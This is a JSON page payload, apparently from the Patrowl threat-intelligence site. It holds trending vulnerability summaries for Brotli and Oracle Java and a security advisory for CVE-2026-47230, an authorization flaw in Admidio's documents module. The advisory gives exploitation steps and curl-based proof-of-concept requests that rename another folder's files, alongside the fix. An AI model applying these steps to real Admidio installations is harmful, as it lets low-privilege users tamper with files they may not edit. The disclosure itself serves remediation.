[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-47230":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":51,"technologies":54,"references":56,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":80},358912,"CVE-2026-47230","EUVD-2026-57207","Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders\n\n## Summary\n\n`modules\u002Fdocuments-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` — a separate URL parameter — without re-checking the folder that actually contains the file. `DocumentsService::renameFile()` resolves the target file via `getFileForDownload()` (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.\n\n## Details\n\n### Vulnerable Code\n\n`modules\u002Fdocuments-files.php:79-89` — top-level check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != 'list' && $getMode != 'download') {\n    $folder = new Folder($gDb);\n    $folder->getFolderForDownload($getFolderUUID);\n    if (!$folder->hasUploadRight()) {\n        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));\n    }\n}\n```\n\n`src\u002FDocuments\u002FService\u002FDocumentsService.php:272-315` — `renameFile()` resolves the file via `getFileForDownload()` (view-only) and never re-verifies upload right on the file's parent:\n\n```php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this->db);\n    $file->getFileForDownload($fileUUID);                          \u002F\u002F \u003C-- view rights, not upload\n    ...\n    $oldFile = $file->getFullFilePath();\n    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);\n    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '\u002F';\n    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);\n\n    $file->setValue('fil_name', $newFile);\n    $file->setValue('fil_description', $newDescription);\n    $file->save();\n    ...\n}\n```\n\n`getFileForDownload()` enforces only the *download* (read) ACL on the file's folder. There is no `hasUploadRight()` check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on `public_uploadable` (UUID `c41a99c0-…`). They have *view* (download) rights on `view_only_public` (UUID `21b417e2-…`, `fol_public=1`) but no upload\u002Fedit right there. The folder contains `admin_announcement.txt` (UUID `aaae5edd-…`).\n2. Render the rename form with a `folder_uuid` of a folder lowuser CAN upload to and a `file_uuid` of the target file:\n   `GET \u002Fmodules\u002Fdocuments-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…`\n   The top-level rights check at line 85 sees the public-uploadable folder and passes.\n3. Submit rename:\n   `POST \u002Fmodules\u002Fdocuments-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…` with `adm_csrf_token=\u003Cfrom step 2>`, `adm_new_name=hijacked_announcement`, `adm_new_description=Hijacked!`.\n   Server replies `{\"status\":\"success\"}`. `adm_files`: `fil_fol_id=7` (still the original `view_only_public`), `fil_name='hijacked_announcement.txt'`, `fil_description='Hijacked!'`. On disk: `admin_announcement.txt` is renamed to `hijacked_announcement.txt` in its original folder.\n\n## PoC\n\nCaptured live against HEAD `c5cde53` (mariadb on `127.0.0.1:3399`, php on `127.0.0.1:8085`):\n\n```\n$ curl -sb $cookie \\\n    \"http:\u002F\u002F127.0.0.1:8085\u002Fmodules\u002Fdocuments-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…\"\n# form rendered, CSRF token X added to session\n\n$ curl -sb $cookie -X POST \\\n    \"http:\u002F\u002F127.0.0.1:8085\u002Fmodules\u002Fdocuments-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…\" \\\n    -d \"adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21\"\n{\"status\":\"success\", …}\n\n$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \\\n    -e \"SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';\"\nfil_fol_id  fil_name                       fil_description\n7           hijacked_announcement.txt      Hijacked!\n```\n\nThe folder ID `fil_fol_id=7` is `view_only_public` — the folder that `lowuser` had no upload right on. The change was applied as if `lowuser` were authorised.\n\n## Impact\n\nA user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:\n\n* **Defacement of public announcements \u002F policies \u002F circulars.** A regular member can replace `admin_announcement.txt` with `hijacked_announcement.txt` and a description that misrepresents the content. Other readers see the malicious metadata.\n* **Renaming-to-confuse.** Files can be renamed to identifiers that imply different content (`board_minutes_2025-Q4.pdf` → `board_minutes_DRAFT-do-not-distribute.pdf`).\n* **Description-as-XSS-vector** (downstream): if any view path treats `fil_description` as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.\n\nThe CVSS reflects: `PR:L` (uploader on any folder), `S:U` (stays inside Admidio's authorisation model), `C:N` because the actor already had read access, `I:H` because the file's identity is changed for every other reader, `A:N` because files are not deleted.\n\n## Recommended Fix\n\n`DocumentsService::renameFile()` must check upload right on the file's source folder before mutating it:\n\n```php\n\u002F\u002F src\u002FDocuments\u002FService\u002FDocumentsService.php\npublic function renameFile(string $fileUUID, string $newName, string $newDescription): array\n{\n    $file = new File($this->db);\n    $file->getFileForDownload($fileUUID);\n\n    \u002F\u002F verify the current user has upload (write) right on the file's parent folder,\n    \u002F\u002F not just download right (which getFileForDownload enforces)\n    $sourceFolder = new Folder($this->db);\n    $sourceFolder->readData($file->getValue('fil_fol_id'));\n    if (!$sourceFolder->hasUploadRight()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    ...\n}\n```\n\nEquivalently, in `modules\u002Fdocuments-files.php` `case 'file_rename_save'`, resolve the file's parent folder and check `hasUploadRight()` against it before calling the service. The same fix should be applied to other documents-files modes that take a `file_uuid` independently of `folder_uuid`.\n\n## Related\n\nThis bug shares its root cause with `05-documents-cross-folder-move-idor.md` — both flow from the top-level rights check at lines 79-89 binding to URL `folder_uuid` rather than the actual file's parent. A single fix to enforce source-folder upload right inside `File::moveToFolder()` and `DocumentsService::renameFile()` (and any other operations on file_uuid) closes both.","2026-05-29T22:05:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":45,"privilegesRequired":46,"confidentialityImpact":45},"UNCHANGED","3.1",6.5,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:N","HIGH","NONE","LOW",true,[49,50],"CWE-639","CWE-863",[52,53],"cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:*","cpe:2.3:a:admidio:admidio:5.0.9:*:*:*:*:*:*:*",[55],"Admidio Admidio",[57,58],"https:\u002F\u002Fgithub.com\u002FAdmidio\u002Fadmidio\u002Fsecurity\u002Fadvisories\u002FGHSA-q6w3-hpfv-rg36","https:\u002F\u002Fgithub.com\u002FAdmidio\u002Fadmidio",0.53,0.00299,0.22422,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2026-08-12T22:07:32.702386Z","no","partial","none",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:N\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T07:03:16.921179\u002F","track_star","medium","60D",[74],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",[],{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]